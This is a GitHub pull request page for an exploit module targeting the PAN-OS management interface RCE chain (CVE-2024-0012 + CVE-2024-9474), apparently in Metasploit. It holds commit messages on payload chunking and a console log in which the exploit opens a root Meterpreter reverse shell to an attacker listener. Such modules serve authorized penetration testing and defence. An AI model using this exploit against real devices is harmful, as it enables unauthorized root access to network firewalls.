-
Notifications
You must be signed in to change notification settings - Fork 14.1k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Exploit module for PAN-OS management interface unauth RCE (CVE-2024-0012 + CVE-2024-9474) #19663
Conversation
Co-authored-by: Julien Voisin <[email protected]>
Co-authored-by: Julien Voisin <[email protected]>
…the framework will pick, CURL, will work great.
…e for us. Mention I tested the exploit with cmd/linux/http/x64/meterpreter_reverse_tcp
…n fetch based payload is used, we add a new option WRITABLE_DIR to account for this. Update the documentation to reflect the change.
…is out Brendan), we now supply a suitable BadChars and let the framewrk encode the framework paylaod. We rename the variable payload to bootstrap_payload as this was colliding with the frameworks payload variable which was not the intent.
…e teh vulnerability, if that doesnt work. But still return Unknown if the vulnerability fails the second time we leverage it.
…ailable space a chunk can take, relative to the size of teh command needed to write the chunk to disk. We also rework the logic to ensure the files are sequential. Finally as the size of a chunk may be less the more chunks we write, we impose a max Payload Space valuecalculated to be 5670 chars.
Note, commit de599a4 fixes a bug in how the individual chunk files are ensured to be sequential, and introduces a max payload size of 5670 chars, as we now need to decrement the chunk size by 1 character every 9 chunks. |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Thanks for the great module @sfewer-r7!
I had one suggestion with regards to how you were extracting the PHPSESSID
from the response. There was nothing wrong with what you were doing but we do general encourage people to use the cookie_jar
functionality when possible.
Other than that everything looks great and testing was as expected.
msf6 exploit(linux/http/panos_management_unauth_rce) > rexploit
[*] Reloading module...
[*] Started reverse TCP handler on 192.168.1.65:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[*] Uploading payload chunk 1 of 7...
[*] Uploading payload chunk 2 of 7...
[*] Uploading payload chunk 3 of 7...
[*] Uploading payload chunk 4 of 7...
[*] Uploading payload chunk 5 of 7...
[*] Uploading payload chunk 6 of 7...
[*] Uploading payload chunk 7 of 7...
[*] Amalgamating payload chunks...
[*] Executing payload...
[*] Sending stage (3045380 bytes) to 192.168.1.93
[*] Meterpreter session 3 opened (192.168.1.65:4444 -> 192.168.1.93:50204) at 2024-12-09 11:02:49 -0800
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : 192.168.1.93
OS : Red Hat (Linux 4.18.0-240.1.1.28.pan.x86_64)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
documentation/modules/exploit/linux/http/panos_management_unauth_rce.md
Outdated
Show resolved
Hide resolved
documentation/modules/exploit/linux/http/panos_management_unauth_rce.md
Outdated
Show resolved
Hide resolved
Co-authored-by: jheysel-r7 <[email protected]>
Co-authored-by: jheysel-r7 <[email protected]>
Co-authored-by: jheysel-r7 <[email protected]>
Co-authored-by: jheysel-r7 <[email protected]>
Thanks @jheysel-r7 for the testing and improvements. I committed your cookie jar improvement in edf8d18. |
Thanks for making those changes @sfewer-r7! Retested and working as expected. Landing now 👍
|
Release NotesAdds an exploit module for the recent PAN-OS management interface unauthenticated RCE exploit chain for CVE-2024-0012 + CVE-2024-9474 |
This pull request adds an exploit module for the recent PAN-OS management interface unauthenticated RCE exploit chain (CVE-2024-0012 + CVE-2024-9474), based upon the technical analysis published by watchTowr.
The exploit module has been tested against PAN-OS
10.2.8
and11.1.4
.Example